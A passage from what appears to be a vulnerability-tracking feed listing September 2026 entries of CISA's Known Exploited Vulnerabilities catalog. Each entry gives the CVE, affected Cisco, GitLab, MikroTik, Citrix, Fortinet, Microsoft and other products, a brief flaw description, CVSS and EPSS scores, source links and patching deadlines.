Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability
https://kevwire.com/record/CVE-2026-76460
Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability (Sep 16, 2026).
Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) contain an incorrect use of privileged APIs vulnerability that could allow an unauthenticated, remote attacker to gain unauthorized access to the affected device by bypassing the web-based management interface.
CVSS 10.0 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76460).
EPSS 75.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-76460: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76460
CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Acronis Backup Incorrect Default Permissions Vulnerability
https://kevwire.com/record/CVE-2026-87886
Acronis Backup Incorrect Default Permissions Vulnerability (Sep 16, 2026).
Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation.
CVSS 7.8 (version 3.0; evidence as of Sep 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87886).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-87886: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25
CVE Program CNA Acronis: https://cveawg.mitre.org/api/cve/CVE-2026-87886
CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Email Gateway SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-76461
Cisco Secure Email Gateway SQL Injection Vulnerability (Sep 14, 2026).
Cisco AsyncOS software for Cisco Secure Email Gateway (SEG) contains a SQL injection vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Sep 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76461).
EPSS 29.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-76461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76461
CISA added this entry on 2026-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 14, 2026; federal due date Sep 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2026-84869
ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability (Sep 11, 2026).
ConnectWise ScreenConnect contains both an improper privilege management and missing authorization vulnerability that may allow an attacker to transfer and execute files through an active remote session without authorization or host confirmation.
CVSS 9.9 (version 3.1; evidence as of Sep 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-84869).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-84869: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25
CVE Program CNA ConnectWise: https://cveawg.mitre.org/api/cve/CVE-2026-84869
CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JFrog Artifactory Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2026-42016
JFrog Artifactory Incorrect Authorization Vulnerability (Sep 11, 2026).
JFrog Artifactory contains an incorrect authorization vulnerability that leads to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope.
CVSS 8.1 (version 3.1; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42016).
EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-42016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25
CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-42016
CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JFrog Artifactory Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-42018
JFrog Artifactory Improper Authentication Vulnerability (Sep 11, 2026).
JFrog Artifactory contains an improper authentication vulnerability that could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.
CVSS 7.5 (version 3.1; evidence as of Aug 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42018).
EPSS 9.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-42018: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25
CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-42018
CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-85706
GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability (Sep 11, 2026).
GitLab Community Edition and Enterprise Edition contains a path traversal vulnerability that allows an unauthenticated user to read arbitrary files due to an improper path confinement and missing authentication enforcement in the repository commits API.
CVSS 10.0 (version 3.1; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85706).
EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-85706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25
CVE Program CNA GitLab: https://cveawg.mitre.org/api/cve/CVE-2026-85706
CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability
https://kevwire.com/record/CVE-2026-86060
MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability (Sep 10, 2026).
MikroTik RouterOS contains an improper neutralization of argument delimiters in a command vulnerability which allows an attacker to change the trusted RouterOS policy mask, leading to privilege escalation.
CVSS 9.2 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86060).
EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-86060: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25
CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-86060
CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 10, 2026; federal due date Sep 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MikroTik RouterOS Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-67277
MikroTik RouterOS Missing Authentication for Critical Function Vulnerability (Sep 10, 2026).
MikroTik RouterOS contains a missing authentication for critical function vulnerability which allows kernel memory disclosure and denial of service in the btest service.
CVSS 8.8 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-67277).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-67277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25
CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-67277
CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 10, 2026; federal due date Sep 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-19490
Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability (Sep 9, 2026).
Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19490).
EPSS 32.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-19490: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD CVE-2026-19490: https://nvd.nist.gov/vuln/detail/CVE-2026-19490
Vendor advisory (via NVD references): https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25
CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-25249
Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability (Sep 9, 2026).
Fortinet FortiOS, FortiSwitchManager, and FortiSASE contain a heap-based buffer overflow vulnerability that allows an attacker to execute unauthorized code or commands via specially crafted packets.
CVSS 7.4 (version 3.1; evidence as of Feb 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-25249).
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-25249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-25249
CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out of Bounds Write Vulnerability
https://kevwire.com/record/CVE-2026-87491
Google Chromium V8 Out of Bounds Write Vulnerability (Sep 9, 2026).
Google Chromium V8 contains an out of bounds write vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
CVSS 8.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87491).
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-87491: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-87491
CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2026; federal due date Sep 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-20079
Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability (Sep 9, 2026).
Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain an authentication Bypass using an alternate path or channel vulnerability that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20079).
EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20079
CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability
https://kevwire.com/record/CVE-2026-75650
Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability (Sep 8, 2026).
Adobe Commerce and Magento Open Source contain an improper neutralization of special elements used in a template engine vulnerability that could allow an attacker to execute arbitrary code.
CVSS 10.0 (version 3.1; evidence as of Sep 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-75650).
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-75650: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25
CVE Program CNA adobe: https://cveawg.mitre.org/api/cve/CVE-2026-75650
CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2026; federal due date Sep 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Link Following Vulnerability
https://kevwire.com/record/CVE-2026-81963
Microsoft Windows Link Following Vulnerability (Sep 8, 2026).
Microsoft Windows Update Stack contains a link following vulnerability that allows a local attacker to escalate privileges locally up to SYSTEM.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-81963).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-81963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-81963
CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2026; federal due date Sep 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### N-able N-central Static Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-86218
N-able N-central Static Code Injection Vulnerability (Sep 8, 2026).
N-able N-central contains a static code injection vulnerability that could allow for pre-authentication remote code execution.
CVSS 10.0 (version 4.0; evidence as of Sep 6, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86218).
EPSS 15.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-86218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25
CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-86218
CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 8, 2026; federal due date Sep 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2026-85880
Microsoft Windows Heap-Based Buffer Overflow Vulnerability (Sep 8, 2026).
Microsoft Windows Advanced Local Procedure Call contains a heap-based buffer overflow vulnerability that allows an attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85880).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-85880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-85880
CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
